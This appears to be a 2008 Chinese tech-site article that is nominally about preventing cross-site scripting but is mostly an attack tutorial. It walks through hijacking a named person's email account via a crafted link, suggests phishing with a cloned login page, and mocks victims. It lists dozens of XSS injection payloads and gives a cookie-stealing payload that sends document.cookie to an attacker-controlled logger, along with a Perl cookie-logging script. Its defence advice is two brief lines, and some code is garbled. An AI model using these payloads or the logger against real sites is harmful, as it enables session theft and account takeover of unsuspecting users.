利用PHP编程防范XSS跨站脚本攻击

日期: 2008-01-13 来源:TechTarget中国

  我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。

  XSS和脚本注射的区别?

  原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点:
  1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
  2.跨站脚本是临时的,执行后就消失了什么类型的脚本可以被插入远程页面?

  主流脚本包括以下几种:
  HTML
  JavaScript (本文讨论)
  VBScript
  ActiveX
  Flash

  是什么原因导致一个站点存在XSS的安全漏洞?

  许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时,出错信息会被打印到一个html文件,并将该错误页面发送给访问者。例如: 404 – yourfile.html Not Found! 

  我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。
  例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_me.html,一个包含404 -brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览器。考虑一下它是如何把我们的输入写到html文件里的?

  OK,现在是我们检查XSS漏洞的时候了!

  注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面里。当然方法很多
www.somesite.tld/cgi-bin/program.cgi?page=<script>alert(*XSS_Vuln_Testing*)</sc
ript>
  当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"? 这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。

  下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理,就直接写入404 error页面中,结果创建了一个页面,如下:
          <html>

          <b>404</b> – <script>alert(*XSS_Vuln_Testing*)</script> Not Found!

          </html>

  其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。

  如何利用XSS来完成*ing?

  如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入一个html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入到该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。

  事例:

  假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的目标是b00b这个人。
           www.myemailserver.tld/cgi-bin/news.cgi?article=59035
  把上面存在CSS漏洞的连接修改一下:
     www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
  这会创建了一个错误页面,我们得到如下信息:
           Invalid Input! [article=hax0red]

  当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。
           www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert(*test*)<
/script>
<script>并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对
<script>alert(*test*)</script>进行有效过滤,所以在页面发回到浏览器并执行了该脚本

  下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址,并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然它的用意就是从b00b机器中cookie信息里获得自己想要的东东。
  想办法让b00b访问myemailserver.tld站点发表的文章,比如说:”亲爱的b00b,看看这个美女如何呀?”

  那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取并保存cookie的脚本
           </script>
  连接时,发生什么事情?cookie都有了,你该知道怎么办了吧!

  如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,然后引导用户登陆你的恶意系统页面这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,那些笨蛋并不会意识到实际发生的事情。

  把javascript脚本插入WEB页面的不同方法:

  <snip>
  拷贝自:GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical JavaScript-injection *s
you may derive some glee from playing with.

  <a href="javascript#[code]">
  <div onmouseover="[code]">
  <img src="/javascript:[code]">
  <img dynsrc="/javascript:[code]"> [IE]
  <input type="image" dynsrc="/javascript:[code]"> [IE]
  <bgsound src="/javascript:[code]"> [IE]
  &<script>[code]</script>
  &{[code]}; [N4]
  <img src="/&";{[code]};> [N4]
  <link rel="stylesheet" href="/javascript:[code]">
  <iframe src="/vbscript:[code]"> [IE]
  <img src="mocha:[code]"> [N4]
  <img src="/livescript:[code]"> [N4]
  <a href="about:<script>[code]</script>">
  <meta http-equiv="refresh" content="0;url=javascript:[code]">
  <body onload="[code]">
  <div style="background-image: url(/javascript:[code]);">
  <div style="behaviour: url([link to code]);"> [IE]
  <div style="binding: url([link to code]);"> [Mozilla]
  <div style="width: expression([code]);"> [IE]
  <style type="text/javascript">[code]</style> [N4]
  <object classid="clsid:…" codebase="javascript:[code]"> [IE]
  <style><!–</style><script>[code]//–></script>
  <![CDATA[<!–]]><script>[code]//–></script>
  <!– — –><script>[code]</script><!– — –>
  <script>[code]</script>
  <img src="/blah"onmouseover="[code]">
  <img src="blah>" onmouseover="[code]">
  <xml src="/javascript:[code]">
  <xml id="X"><a><b><script>[code]</script>;</b></a></xml>
  <div datafld="b" dataformatas="html" datasrc="#X"></div>
  [xC0][xBC]script>[code][xC0][xBC]/script> [UTF-8; IE, Opera]

—-Copied from GOBBLES SECURITY ADVISORY #33—-
</snip>

  一个真正的获取cookie并且做记录的例子:

  注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies,当我测试下面的信息时,使用javascript创建访问者的cookies,javascript脚本放在index.html文件中。OK,下面假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是:
http://website.tld/program.cgi?input=<evil javascript>
我们创建这样一个连接:
http://website.tld/program.cgi?input=<script>document.location=*http://yoursite
.tld
/cgi-bin/evil_cookie_logger.cgi?*+documents.cookie</script>
然后让保存该站点cookie的用户访问这个连接:

  这是我们的CGI脚本,它的作用就是对用户cookie做记录:

  ———evil_cookie_logger.cgi———–

  #!/usr/bin/perl
  # evil_cookie_logger.cgi
  # remote cookie logging CGI coded by BrainRawt
  #
  # NOTE: coded as a proof of concept script when testing for
  #       cross-site scripting vulnerabilities.

  $borrowed_info = $ENV{*QUERY_STRING*};
  $borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

  open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
  text/htmlnn something went wrongn";
  print EVIL_COOKIE_LOG "$borrowed_infon";
  print "Content-type: text/htmlnn";
  close(EVIL_COOKIE_LOG);

  该脚本首先通过 $ENV{*QUERY_STRING*}获得cookie,打印到$borrowed_info变量里,通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_log文件。

  注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行,这仅仅是我在自己的站点上做测试用的。

  如何防范XSS攻击?

  1.在你的WEB浏览器上禁用javascript脚本
  2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。
  
  可以把"<",">"转换为<,>

  注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。

  对受害者来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。

我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。

我原创,你原创,我们的内容世界才会更加精彩!

【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】

微信公众号

TechTarget微信公众号二维码

TechTarget

官方微博

TechTarget中国官方微博二维码

TechTarget中国

电子邮件地址不会被公开。 必填项已用*标注

敬请读者发表评论,本站保留删除与本文无关和不雅评论的权力。

相关推荐

  • XSS与XSSI区别何在?

    跨站脚本(XSS)和跨站脚本包含(XSSI)之间的区别是什么?防御方法有什么不同?在本文中,专家Michael Cobb将就此进行详细探讨。

  • 调查显示:2013年Web应用安全修复平均需要11天

    根据瑞士信息安全公司High-Tech Bridge的最新“WEB应用安全趋势”报告,2012年为一个关键的安全漏洞推出补丁的平均时间为17天,2013年缩短到11天。

  • 浅析新浪微博Web蠕虫事件

    近日,新浪出现了一次比较大的XSS(跨站脚本)漏洞攻击。此次,新浪web蠕虫事件,虽然仅限于滥发含毒私信和连接,但是并不是所有的web蠕虫都如此“善良”。

  • 关于网站防范XSS攻击的几点思考

    跨站指令代码攻击(XSS)的确是十分难以防守的攻击形式,一旦不小心,就有可能造成颇大的伤害。遗憾的是,还是有不少Web应用程序设计者并没有小心的提防。